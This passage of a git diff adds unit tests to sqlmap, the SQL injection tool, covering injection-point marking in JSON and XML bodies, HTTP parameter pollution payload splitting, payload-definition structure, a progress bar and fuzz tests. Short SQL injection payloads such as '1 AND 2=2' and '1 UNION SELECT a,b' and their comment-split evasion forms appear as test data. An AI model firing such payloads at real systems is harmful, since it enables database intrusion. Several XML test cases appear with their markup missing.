_drive_request_marking(body): + """Run sqlmap's REAL request-body injection-point marking on `body`. + + Approach (a): drive the genuine code path in lib.core.target._setRequestParams() + (the same function the CLI uses) with a minimal conf/kb state, a POST body, and + readInput auto-answering 'Y'. The marking regexes (target.py:159-215) run against + `conf.data`; the fully-marked string is the snapshot of conf.data carrying the most + injection marks, captured BEFORE the later strip (target.py:~348) removes them. + + Returns (fully_marked_data, kb.postHint). A regression in the source marking regexes + changes this output and breaks the asserting tests. + """ + import lib.core.target as target + from lib.core.data import conf, kb + from lib.core.enums import HTTPMETHOD + + snapshots = [] + base = type(conf) + orig_setitem = base.__setitem__ + + def _record(self, key, value): + if key == "data" and isinstance(value, str): + snapshots.append(value) + orig_setitem(self, key, value) + + orig_readInput = target.readInput + target.readInput = lambda *a, **k: 'Y' + base.__setitem__ = _record + try: + conf.parameters = {} + conf.paramDict = {} + conf.direct = False + conf.method = HTTPMETHOD.POST + conf.url = "http://test.invalid/" + conf.cookie = None + conf.httpHeaders = [] + conf.testParameter = None + conf.forms = None + conf.crawlDepth = None + kb.processUserMarks = None + kb.postHint = None + kb.customInjectionMark = MARK + kb.testOnlyCustom = False + conf.data = body + target._setRequestParams() + postHint = kb.postHint + finally: + base.__setitem__ = orig_setitem + target.readInput = orig_readInput + + fully_marked = max(snapshots, key=lambda s: s.count(MARK)) + return fully_marked, postHint + + +class TestRecognitionRegexes(unittest.TestCase): + CASES = [ + ('{"id":1}', "JSON"), + ('{"a":"b"}', "JSON"), + ('{"n":1,"m":"s"}', "JSON"), + ('[{"id":1}]', "JSON"), + ('[{"id":1},{"id":2}]', "JSON"), + ("{'a':'b'}", "JSON_LIKE"), + ("    1", "XML"), + ("1", "XML"), + ("v", "XML"), + ("id=1&x=2", "PLAIN"), + ("just text", "PLAIN"), + ] + + def test_classification(self): + for body, expected in self.CASES: + self.assertEqual(classify(body), expected, msg="classify(%r)" % body) + + +class TestJsonMarking(unittest.TestCase): + # Approach (a): exercises the REAL JSON injection-point marking in + # lib.core.target._setRequestParams() (target.py:159-162) via _drive_request_marking(). + # No source logic is copied into the test; a regression in the source regexes fails it. + @staticmethod + def mark(data): + marked, postHint = _drive_request_marking(data) + assert postHint == "JSON", "expected JSON postHint, got %r for %r" % (postHint, data) + return marked + + CASES = [ + ('{"id":1}', '{"id":1*}'), + ('{"name":"abc"}', '{"name":"abc*"}'), + ('{"a":{"b":"1"}}', '{"a":{"b":"1*"}}'), + ('{"empty":""}', '{"empty":"*"}'), + ('{"b":true,"n":null}', '{"b":true*,"n":null*}'), + ('{"a":"x","b":"y"}', '{"a":"x*","b":"y*"}'), + ('{"url":"http://h:8080/p"}', '{"url":"http://h:8080/p*"}'), + ] + + def test_cases(self): + for inp, expected in self.CASES: + self.assertEqual(self.mark(inp), expected, msg="mark(%r)" % inp) + + def test_value_preserved_property(self): + # marking must not delete/garble the original value characters + for inp, _ in self.CASES: + out = self.mark(inp) + self.assertEqual(out.replace(MARK, ""), inp, msg="marking altered %r" % inp) + + +class TestXmlMarking(unittest.TestCase): + # Approach (a): exercises the REAL SOAP/XML injection-point marking in + # lib.core.target._setRequestParams() (target.py:215) via _drive_request_marking(). + # A regression in the source XML regex fails this test. + def mark(self, data): + from lib.core.enums import POST_HINT + marked, postHint = _drive_request_marking(data) + self.assertIn(postHint, (POST_HINT.XML, POST_HINT.SOAP), + msg="expected XML/SOAP postHint, got %r for %r" % (postHint, data)) + return marked + + CASES = [ + ("x", "x*"), + # attribute values are now marked too, not just element text (issue #5993) + ('x', 'x*'), + ("bob5", "bob*5*"), + ("v", "v*"), + ("1", "1*"), + # multiple attributes and single-quoted attribute values + ('y', 'y*'), + ("y", "y*"), + # XML declaration and namespace declarations are left intact (not injection points) + ('y', 'y*'), + ('y', 'y*'), + ] + + def test_cases(self): + for inp, expected in self.CASES: + self.assertEqual(self.mark(inp), expected, msg="xmlmark(%r)" % inp) + + +def _drive_hpp(payload, name="id"): + """Run sqlmap's REAL HTTP-parameter-pollution payload reconstruction on `payload`. + + Approach (a): drive the genuine HPP block inside lib.request.connect.Connect.queryPage() + (connect.py:1168-1192) -- the same method the engine uses to issue every request -- with + conf.hpp enabled and a GET value carrying the payload between PAYLOAD_DELIMITERs. + conf.skipUrlEncode is set so the unencoded splitter branch runs (matching the pinned + expected strings). queryPage's network call (agent.removePayloadDelimiters, invoked + immediately AFTER the HPP block) is hijacked to capture the transformed `value` and abort + before any I/O; the payload is then extracted from between the delimiters. A regression in + the source HPP logic changes this output and breaks the asserting tests. + """ + from lib.core.data import conf, kb + from lib.core.enums import PLACE + from lib.core.agent import agent + from lib.request.connect import Connect + + class _Sentinel(Exception): + pass + + captured = {} + + def _capture(value): + captured["value"] = value + raise _Sentinel() + + orig_remove = agent.removePayloadDelimiters + agent.removePayloadDelimiters = _capture + try: + conf.direct = False + conf.hpp = True + conf.method = "GET" + conf.paramDel = None + conf.skipUrlEncode = True + conf.url = "http://test.invalid/page.asp?%s=1" % name + kb.postUrlEncode = False + kb.tamperFunctions = [] + kb.postSpaceToPlus = False + value = "%s=%s%s%s" % (name, PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER) + try: + _qp = getattr(Connect.queryPage, "__func__", Connect.queryPage) + _qp(value=value, place=PLACE.GET, disableTampering=True) + except _Sentinel: + pass + finally: + agent.removePayloadDelimiters = orig_remove + + _ = re.escape(PAYLOAD_DELIMITER) + return re.search(r"(?s)%s(?P.*?)%s" % (_, _), captured["value"]).group("result") + + +class TestHppReconstruction(unittest.TestCase): + # Approach (a): drives the REAL HPP reconstruction (connect.py:1168-1192) via _drive_hpp(). + + def hpp(self, payload, name="id"): + return _drive_hpp(payload, name) + + # Exact transform outputs (verified live against an ASP-style join). We pin the produced + # string rather than "reconstruct the SQL", because reconstruction depends on the SQL parser + # treating /* */ as a token separator (1/*,*/AND -> "1 AND"), which a string compare can't model. + CASES = [ + ("1", "1"), + ("1 AND 2=2", "1/*&id=*/AND/*&id=*/2=2"), + ("1 AND 'a'='a'", "1/*&id=*/AND/*&id=*/'a'='a'"), + ] + + def test_exact_outputs(self): + for payload, expected in self.CASES: + self.assertEqual(self.hpp(payload), expected, msg="hpp(%r)" % payload) + + def test_balanced_comments(self): + # every /* must have a matching */ (no dangling comment bridge) + for payload in ["1 UNION SELECT a,b", "1 AND 2=2 OR 3=3", "x y z"]: + out = self.hpp(payload) + self.assertEqual(out.count("/*"), out.count("*/"), msg="unbalanced comments for %r" % payload) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_payloads_structure.py b/tests/test_payloads_structure.py new file mode 100644 index 00000000000..16556a5a161 --- /dev/null +++ b/tests/test_payloads_structure.py @@ -0,0 +1,130 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Structural invariants of the injection payload/boundary definitions +(data/xml/payloads/*.xml -> conf.tests, data/xml/boundaries.xml -> conf.boundaries). + +These XML files ARE the detection engine: every test/boundary loaded here is +something sqlmap will fire at a target. The fields are pure data, so the right +tests are shape/range invariants - a malformed level, an unknown technique, a +duplicate title, or a test missing its request payload would silently break or +skew detection. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.parse.payloads import loadBoundaries, loadPayloads +from lib.core.data import conf +from lib.core.enums import PAYLOAD +from lib.core.common import getPublicTypeMembers + +# load once for the module +loadBoundaries() +loadPayloads() + +TECHNIQUES = set(v for _, v in getPublicTypeMembers(PAYLOAD.TECHNIQUE)) # {1..6} +WHERES = set(v for _, v in getPublicTypeMembers(PAYLOAD.WHERE)) # {1,2,3} + + +class TestLoaded(unittest.TestCase): + # floors well below the current counts (~340 tests, ~54 boundaries) - high enough to catch a + # truncated/partially-loaded XML set (not just "> 0"), low enough to survive normal additions + def test_payloads_loaded(self): + self.assertGreaterEqual(len(conf.tests), 200, msg="only %d tests loaded" % len(conf.tests)) + + def test_boundaries_loaded(self): + self.assertGreaterEqual(len(conf.boundaries), 30, msg="only %d boundaries loaded" % len(conf.boundaries)) + + +class TestTestEntries(unittest.TestCase): + def setUp(self): + # guard against vacuous passes: if payloads failed to load, every loop below + # would iterate zero times and pass silently + self.assertTrue(conf.tests, "conf.tests is empty - payloads failed to load") + + def test_required_fields_present(self): + for t in conf.tests: + for field in ("title", "stype", "clause", "where", "level", "risk", "request", "response"): + self.assertIn(field, t, msg="test %r missing field %r" % (t.get("title"), field)) + + def test_title_non_empty(self): + for t in conf.tests: + self.assertTrue(t.title and t.title.strip(), msg="empty test title") + + def test_titles_unique(self): + titles = [t.title for t in conf.tests] + self.assertEqual(len(titles), len(set(titles)), msg="duplicate test titles exist") + + def test_stype_is_known_technique(self): + for t in conf.tests: + self.assertIn(t.stype, TECHNIQUES, msg="test %r has unknown stype %r" % (t.title, t.stype)) + + def test_level_and_risk_in_range(self): + for t in conf.tests: + self.assertIn(t.level, (1, 2, 3, 4, 5), msg="test %r bad level %r" % (t.title, t.level)) + self.assertIn(t.risk, (1, 2, 3), msg="test %r bad risk %r" % (t.title, t.risk)) + + def test_request_has_payload(self): + for t in conf.tests: + self.assertIn("payload", t.request, msg="test %r request has no payload" % t.title) + + def test_where_values_valid(self): + for t in conf.tests: + for w in t.where: + self.assertIn(w, WHERES, msg="test %r has bad where %r" % (t.title, w)) + + +class TestBoundaryEntries(unittest.TestCase): + def setUp(self): + self.assertTrue(conf.boundaries, "conf.boundaries is empty - boundaries failed to load") + + def test_required_fields_present(self): + for b in conf.boundaries: + for field in ("level", "clause", "where", "ptype"): + self.assertIn(field, b, msg="boundary missing field %r" % field) + + def test_level_in_range(self): + for b in conf.boundaries: + self.assertIn(b.level, (1, 2, 3, 4, 5), msg="boundary bad level %r" % b.level) + + def test_where_values_valid(self): + for b in conf.boundaries: + for w in b.where: + self.assertIn(w, WHERES, msg="boundary bad where %r" % w) + + def test_clause_is_list_like(self): + for b in conf.boundaries: + self.assertTrue(isinstance(b.clause, (list, tuple)), msg="boundary clause not list-like") + + def test_ptype_in_range(self): + # ptype feeds the recorded injection identity (report label, (place,parameter,ptype) dedup + # key, session hash) - an out-of-range value silently corrupts all three + for b in conf.boundaries: + self.assertIn(b.ptype, (1, 2, 3, 4, 5, 6, 7, 8), msg="boundary %r bad ptype %r" % (b.prefix, b.ptype)) + + def test_ptype_matches_prefix_quote(self): + # The lexical quote a prefix opens with must agree with ptype (else the injection is recorded + # under the wrong type - e.g. a backtick identifier breakout mislabelled numeric). Only the + # unambiguous cases are asserted: backtick is ALWAYS an identifier delimiter (ptype 6), and a + # leading single quote is ALWAYS a single-quoted string (ptype 2/3). Double quote is left out + # on purpose - it is a string literal (4/5) under some DBMS and an ANSI identifier (6) under + # others, so it is genuinely ambiguous from the prefix alone. + for b in conf.boundaries: + prefix = (b.prefix or "").lstrip() + if prefix.startswith('`'): + self.assertEqual(b.ptype, 6, msg="backtick prefix %r must be identifier ptype 6, got %r" % (b.prefix, b.ptype)) + elif prefix.startswith("'"): + self.assertIn(b.ptype, (2, 3), msg="single-quote prefix %r must be ptype 2/3, got %r" % (b.prefix, b.ptype)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_progress.py b/tests/test_progress.py new file mode 100644 index 00000000000..5690763d1f5 --- /dev/null +++ b/tests/test_progress.py @@ -0,0 +1,209 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The textual progress bar (lib/utils/progress.py) used during multi-item +extraction. Pure rendering/clamping logic plus ETA formatting. +""" + +import os +import re +import sys +import time +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.progress as progress_mod +from lib.utils.progress import ProgressBar + + +class TestProgressBar(unittest.TestCase): + def test_initial_is_zero_percent(self): + pb = ProgressBar(0, 100, 78) + self.assertTrue(str(pb).startswith("0%"), msg=str(pb)) + + def test_full_is_hundred_percent(self): + pb = ProgressBar(0, 100, 78) + pb.update(100) + self.assertTrue(str(pb).startswith("100%"), msg=str(pb)) + + def test_half_is_fifty_percent(self): + pb = ProgressBar(0, 100, 78) + pb.update(50) + self.assertIn("50%", str(pb)) + + def test_update_clamps_below_min(self): + pb = ProgressBar(10, 20, 78) + pb.update(-5) + self.assertTrue(str(pb).startswith("0%")) + + def test_update_clamps_above_max(self): + pb = ProgressBar(0, 10, 78) + pb.update(999) + self.assertTrue(str(pb).startswith("100%")) + + def test_convert_seconds(self): + pb = ProgressBar(0, 10, 78) + self.assertEqual(pb._convertSeconds(0), "00:00") + self.assertEqual(pb._convertSeconds(65), "01:05") + self.assertEqual(pb._convertSeconds(600), "10:00") + + def test_progress_draws_eta_after_second_call(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True # draw() only animates on a terminal + try: + pb = ProgressBar(0, 10, 78) + pb.progress(0) # first call only seeds the timer (eta None) + time.sleep(0.01) # let some wall-clock elapse so eta is computable + pb.progress(5) # second call computes and draws a real ETA + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + self.assertTrue(captured, msg="progress() never wrote to stdout") + last = captured[-1] + # the drawn bar must carry an ETA token with an mm:ss timer (not the ??:?? placeholder) + self.assertIn("(ETA ", last, msg="no ETA token drawn: %r" % last) + self.assertNotIn("??:??", last, msg="ETA was not computed on the second call: %r" % last) + self.assertTrue(re.search(r"\(ETA \d{2}:\d{2}\)", last), + msg="ETA token missing an mm:ss timer: %r" % last) + + def test_eta_available_from_first_completed_item(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 5, 78) + pb._start = pb._lastTime = time.time() - 2.0 # one item took ~2s -> estimate must appear now, at 1/5 + pb.progress(1) + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + last = captured[-1] + self.assertNotIn("??:??", last, msg="no ETA at the first item: %r" % last) + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", last) + secs = int(m.group(1)) * 60 + int(m.group(2)) + self.assertTrue(7 <= secs <= 9, msg="ETA not ~8s (2s/item x 4 remaining): %r" % last) # not the 2x-optimistic ~4s + + def test_eta_reflects_remaining_item_count(self): + # at a constant 10s/item pace: 1/3 must estimate the 2 items left (~20s), 2/3 the 1 left (~10s) - + # i.e. (max - done) items, not just the current one. Fresh bars so each is a first (unsmoothed) estimate. + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + + def drawnEta(): + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", captured[-1]) + self.assertTrue(m, msg="no ETA drawn: %r" % captured[-1]) + return int(m.group(1)) * 60 + int(m.group(2)) + + try: + a = ProgressBar(0, 3, 78) + a._start = time.time() - 10.0 # 1 done in 10s -> 10s/item, 2 remaining -> ~20s + a.progress(1) + eta1 = drawnEta() + + b = ProgressBar(0, 3, 78) + b._start = time.time() - 20.0 # 2 done in 20s -> 10s/item, 1 remaining -> ~10s + b.progress(2) + eta2 = drawnEta() + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + self.assertTrue(18 <= eta1 <= 22, msg="1/3 should estimate 2 remaining (~20s): %ds" % eta1) + self.assertTrue(8 <= eta2 <= 12, msg="2/3 should estimate 1 remaining (~10s): %ds" % eta2) + + def test_new_estimate_is_eased_not_snapped(self): + # when a fresh estimate is far from the value currently on screen, the drawn ETA must land + # between the two (smoothed), not snap straight to the new target + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 10, 78) + pb._eta = 8.0 # currently showing ~8s... + pb._etaAt = time.time() + pb._start = time.time() - 2.0 # ...but the fresh target is (2/1)*(10-1) = 18s + pb.progress(1) + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", captured[-1]) + secs = int(m.group(1)) * 60 + int(m.group(2)) + self.assertTrue(10 <= secs <= 16, msg="ETA snapped instead of easing between 8 and 18: %ds" % secs) + + def test_tick_counts_down_from_stored_eta(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 10, 78) + pb.update(5) + pb._eta = 100 # a 100s estimate... + pb._etaAt = time.time() - 30 # ...taken 30s ago -> tick() must show ~70s + pb.tick() + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", captured[-1]) + self.assertTrue(m, msg="no mm:ss ETA drawn: %r" % captured[-1]) + secs = int(m.group(1)) * 60 + int(m.group(2)) + self.assertTrue(66 <= secs <= 71, msg="ETA not decremented to ~70s: %r" % captured[-1]) + + def test_tick_clamps_at_zero_when_overdue(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 10, 78) + pb.update(5) + pb._eta = 5 + pb._etaAt = time.time() - 60 # long overdue -> must clamp to 00:00, never negative + pb.tick() + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + self.assertIn("(ETA 00:00)", captured[-1], msg=captured[-1]) + + def test_no_draw_when_not_tty(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = False # piped/redirected: no animated bar should reach the stream + try: + pb = ProgressBar(0, 10, 78) + for i in range(1, 11): + pb.progress(i) + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + self.assertEqual(captured, [], msg="progress bar leaked to a non-TTY stream: %r" % captured) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_property.py b/tests/test_property.py new file mode 100644 index 00000000000..3919b50ffaf --- /dev/null +++ b/tests/test_property.py @@ -0,0 +1,278 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Property/fuzz tests for the pure parsers and transforms. Where the other test +files pin specific examples, these assert INVARIANTS over hundreds of randomized +(but deterministic, cross-version-identical - see _testutils.Rng) inputs, which is +the cheap net for the edge-bug class that example tests miss (commas inside quoted +literals / nested parens, NUL / 0xff / astral code points in codecs, etc.). + +Property families: + - codec/serializer pairs round-trip: decode(encode(x)) == x + - structure transforms preserve their contract (flat/de-arrayized/permutation) + - string transforms hold their stated invariant (ASCII-only, no newlines, ...) + - random helpers respect length / alphabet / range bounds + - splitFields/zeroDepthSearch partition faithfully and never cut inside a group + - a batch of transforms never raise on arbitrary input + +On failure _testutils.for_all prints the exact offending input + its case index so +it reproduces on any interpreter. +""" + +import os +import string +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, for_all, set_dbms, reset_dbms +bootstrap() + +from extra.cloak.cloak import cloak, decloak +from lib.core.common import (escapeJsonValue, filterStringValue, flattenValue, isListLike, normalizeUnicode, + prioritySortColumns, randomInt, randomRange, randomStr, safeSQLIdentificatorNaming, + sanitizeStr, splitFields, unArrayizeValue, unsafeSQLIdentificatorNaming, urldecode, + urlencode, zeroDepthSearch) +from lib.core.convert import (decodeBase64, decodeHex, dejsonize, deserializeValue, encodeBase64, + encodeHex, getBytes, getConsoleLength, getOrds, getText, htmlEscape, htmlUnescape, + jsonize, serializeValue, stdoutEncode) +from lib.core.data import kb +from lib.utils.safe2bin import safecharencode + + +# --- input strategies (draw ONLY through rng: randint / choice / sample / blob) --- + +# deliberately loaded with structural metacharacters + tricky code points +_TEXT = [u"a", u"Z", u"7", u" ", u",", u"'", u'"', u"(", u")", u"\\", u";", + u"\n", u"\t", u"\x00", u"\x7f", u"\xe9", u"\u0107", u"\u4e2d", u"\U0001F600", u" FROM "] + + +def gen_text(rng): + return u"".join(rng.choice(_TEXT) for _ in range(rng.randint(0, 24))) + + +def gen_ascii(rng): + return u"".join(rng.choice(string.printable) for _ in range(rng.randint(0, 20))) + + +def gen_blob(rng): + return rng.blob(rng.randint(0, 32)) + + +def gen_json(rng): + # JSON-safe only: tuples become lists and non-str keys are coerced, so exclude them here + if rng.randint(0, 4) == 0: + return [gen_json(rng) for _ in range(rng.randint(0, 3))] + if rng.randint(0, 4) == 0: + return dict((u"k%d" % j, gen_json(rng)) for j in range(rng.randint(0, 3))) + return rng.choice([0, 1, -1, 2 ** 31, 1.5, -0.25, True, False, None, u"", u"x", u"\u0107", u'a"b,c']) + + +def gen_serializable(rng): + kind = rng.randint(0, 9) + if kind < 5: + return rng.choice([0, -7, 2 ** 40, 3.5, True, False, None, u"\u0107x", b"\x00\xff", u""]) + if kind < 7: + return [gen_serializable(rng) for _ in range(rng.randint(0, 3))] + if kind < 8: + return tuple(gen_serializable(rng) for _ in range(rng.randint(0, 3))) + if kind < 9: + return set(rng.choice([1, 2, 3, u"a", u"b"]) for _ in range(rng.randint(0, 3))) + return dict((u"k%d" % j, gen_serializable(rng)) for j in range(rng.randint(0, 2))) + + +def gen_columns(rng): + return [rng.choice([u"id", u"userid", u"name", u"password", u"a", u"created_id", u"x_id_y", u"data"]) + for _ in range(rng.randint(0, 6))] + + +def gen_ident(rng): + # clean (round-trippable) identifier names: letters/digits/underscore, optional dot/space + chars = string.ascii_letters + string.digits + u"_" + name = u"".join(rng.choice(chars) for _ in range(rng.randint(1, 10))) + if rng.randint(0, 3) == 0: + name += rng.choice([u".col", u" alias", u"_2"]) + return name + + +# well-formed field lists: balanced parens, properly closed/escaped quotes +_TOKENS = [u"foo", u"bar", u"id", u"a b", u"1", u"*", u"max(a)", u"COALESCE(a, b, c)", u"func(x, y)"] +_QUOTED = [u"a,b", u"x, y", u"f(1, 2)", u"o''k", u"plain", u""] + + +def gen_sql_fields(rng): + parts = [] + for _ in range(rng.randint(1, 5)): + t = rng.randint(0, 9) + if t < 5: + parts.append(rng.choice(_TOKENS)) + elif t < 8: + q = rng.choice([u"'", u'"']) + parts.append(q + rng.choice(_QUOTED) + q) + else: + parts.append(u"g(%s, %s)" % (rng.choice(_TOKENS), rng.choice(_TOKENS))) + return u", ".join(parts) + + +class TestCodecRoundTrips(unittest.TestCase): + def test_base64(self): + for_all(self, gen_blob, lambda b: decodeBase64(encodeBase64(b)) == b, label="base64") + + def test_hex(self): + for_all(self, gen_blob, lambda b: decodeHex(encodeHex(b)) == b, label="hex") + + def test_getbytes_gettext(self): + # unsafe=False -> plain UTF-8 (no \xNN escape interpretation), so it is a clean round-trip + for_all(self, gen_text, lambda s: getText(getBytes(s, unsafe=False)) == s, label="bytes-text") + + def test_json(self): + for_all(self, gen_json, lambda v: dejsonize(jsonize(v)) == v, label="json") + + def test_serialize(self): + for_all(self, gen_serializable, lambda v: deserializeValue(serializeValue(v)) == v, label="serialize") + + def test_html_escape(self): + for_all(self, gen_text, lambda s: htmlUnescape(htmlEscape(s)) == s, label="html") + + def test_cloak(self): + for_all(self, gen_blob, lambda b: decloak(data=cloak(data=b)) == b, label="cloak") + + +class TestStructureTransforms(unittest.TestCase): + def test_unarrayize_never_listlike(self): + # the whole point of unArrayizeValue is that the result is a scalar, never a list/tuple + # (gen_serializable includes sets - they used to crash here; see test_unarrayize_set regression) + for_all(self, gen_serializable, lambda v: not isListLike(unArrayizeValue(v)), label="unarrayize") + + def test_flatten_is_flat(self): + for_all(self, gen_serializable, lambda v: all(not isListLike(x) for x in flattenValue([v])), label="flatten") + + def test_unarrayize_set(self): + # regression: a 1-element set is list-like but not subscriptable; unArrayizeValue must + # de-arrayize it rather than crash on value[0] + self.assertEqual(unArrayizeValue(set(["x"])), "x") + self.assertEqual(unArrayizeValue(set()), None) + self.assertEqual(unArrayizeValue(["1"]), "1") # ordinary fast-path still works + + def test_prioritysort_is_permutation(self): + # sorting must not invent/drop columns, and must be idempotent + def prop(cols): + out = prioritySortColumns(cols) + return sorted(out) == sorted(cols) and prioritySortColumns(out) == out + for_all(self, gen_columns, prop, label="prioritysort") + + +class TestStringTransforms(unittest.TestCase): + def test_normalize_unicode_is_ascii(self): + for_all(self, gen_text, lambda s: all(ord(c) < 128 for c in normalizeUnicode(s)), label="normalize-ascii") + + def test_sanitizestr_strips_newlines(self): + for_all(self, gen_text, lambda s: "\n" not in sanitizeStr(s) and "\r" not in sanitizeStr(s), label="sanitizestr") + + def test_filterstringvalue_charset(self): + allowed = set("0123456789abcdef") + for_all(self, gen_text, lambda s: set(filterStringValue(s, r"[0-9a-f]")) <= allowed, label="filterstring") + + def test_escapejson_no_control_char(self): + # control chars and bare quotes must be escaped away (output is JSON-string-body safe re: those) + for_all(self, gen_text, lambda s: all(c >= " " for c in escapeJsonValue(s)), label="escapejson-invariant") + + def test_escapejson_json_roundtrip(self): + # escapeJsonValue(s) embedded in a JSON string must parse back to s - for ALL text, + # including backslash (the F1 fix; this used to fail on '\') + import json + for_all(self, gen_text, lambda s: json.loads(u'"%s"' % escapeJsonValue(s)) == s, label="escapejson-roundtrip") + + def test_escapejson_backslash(self): + # regression for F1: backslash is now escaped, so the round-trip holds + import json + self.assertEqual(json.loads(u'"%s"' % escapeJsonValue(u"a\\b")), u"a\\b") + + def test_getords_length(self): + for_all(self, gen_text, lambda s: len(getOrds(s)) == len(s) and all(isinstance(o, int) for o in getOrds(s)), label="getords") + + def test_consolelength_ascii(self): + for_all(self, gen_ascii, lambda s: getConsoleLength(s) == len(s), label="consolelength") + + +class TestRandomHelpers(unittest.TestCase): + def test_randomstr_length_and_alphabet(self): + for_all(self, lambda r: r.randint(0, 16), + lambda n: len(randomStr(n)) == n and set(randomStr(n)) <= set(string.ascii_letters), label="randomstr") + + def test_randomstr_lowercase(self): + for_all(self, lambda r: r.randint(0, 16), + lambda n: set(randomStr(n, lowercase=True)) <= set(string.ascii_lowercase), label="randomstr-lower") + + def test_randomint_digits(self): + for_all(self, lambda r: r.randint(1, 8), lambda n: len(str(randomInt(n))) == n, label="randomint") + + def test_randomrange_bounds(self): + def prop(_): + a = _[0] + b = _[0] + _[1] + return a <= randomRange(a, b) <= b + for_all(self, lambda r: (r.randint(-50, 50), r.randint(0, 100)), prop, label="randomrange") + + +class TestSplitterInvariants(unittest.TestCase): + def test_reconstruction(self): + # Faithful partition: rejoining the 0-depth split reconstructs the input modulo the only + # transform splitFields applies - dropping a single space after an unquoted delimiter. So + # nothing other than spaces may be lost/added/reordered. (Space-insensitive so it survives + # the quote-aware normalization: spaces inside 'literals' are kept, comma-trailing ones are + # not; either way no non-space content changes.) + for_all(self, gen_text, lambda s: u",".join(splitFields(s)).replace(u" ", u"") == s.replace(u" ", u""), label="split-reconstruct-text") + for_all(self, gen_sql_fields, lambda s: u",".join(splitFields(s)).replace(u" ", u"") == s.replace(u" ", u""), label="split-reconstruct-sql") + + def test_quoted_literal_spaces_preserved(self): + # the I3 contract: a ", " inside a quoted literal must NOT be collapsed (the whole literal + # survives intact as a single field) + for_all(self, lambda r: u"%s, '%s, %s', %s" % (r.choice([u"a", u"id"]), r.choice([u"x", u"p q"]), r.choice([u"y", u"z"]), r.choice([u"b", u"c"])), + lambda s: u"'%s'" % s.split(u"'")[1] in splitFields(s), label="split-quote-preserve") + + def test_never_cuts_inside_parens(self): + # on well-formed input no field may carry unbalanced parens (i.e. a split never lands inside a group) + for_all(self, gen_sql_fields, lambda s: all(f.count(u"(") == f.count(u")") for f in splitFields(s)), label="split-balanced") + + def test_zerodepth_indices_are_real_commas(self): + def prop(s): + idx = zeroDepthSearch(s, ",") + return all(s[i] == u"," for i in idx) and idx == sorted(idx) and len(set(idx)) == len(idx) + for_all(self, gen_text, prop, label="zerodepth-commas-text") + for_all(self, gen_sql_fields, prop, label="zerodepth-commas-sql") + + +class TestIdentifierRoundTrip(unittest.TestCase): + def setUp(self): + self._saved = kb.get("forcedDbms") + set_dbms("MySQL") # identifier quoting is DBMS-specific; pin a case-preserving back-end + + def tearDown(self): + kb.forcedDbms = self._saved + + def test_safe_unsafe_roundtrip(self): + for_all(self, gen_ident, lambda n: unsafeSQLIdentificatorNaming(safeSQLIdentificatorNaming(n)) == n, label="identifier") + + +class TestRobustness(unittest.TestCase): + # total functions: must never raise on arbitrary text (return value unconstrained) + def test_urlencode_urldecode(self): + for_all(self, gen_text, lambda s: (urlencode(s), urldecode(s)) and True, label="urlcodec") + + def test_safecharencode(self): + for_all(self, gen_text, lambda s: safecharencode(s) is not None or s == u"", label="safecharencode") + + def test_stdoutencode(self): + for_all(self, gen_text, lambda s: stdoutEncode(s) is not None or s == u"", label="stdoutencode") + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_purge.py b/tests/test_purge.py new file mode 100644 index 00000000000..c532d7b73cf --- /dev/null +++ b/tests/test_purge.py @@ -0,0 +1,127 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Secure directory purge (lib/utils/purge.py, the --purge feature): multi-pass +overwrite + truncation + removal of a directory's content. Driven against a +throwaway temp tree so the real output 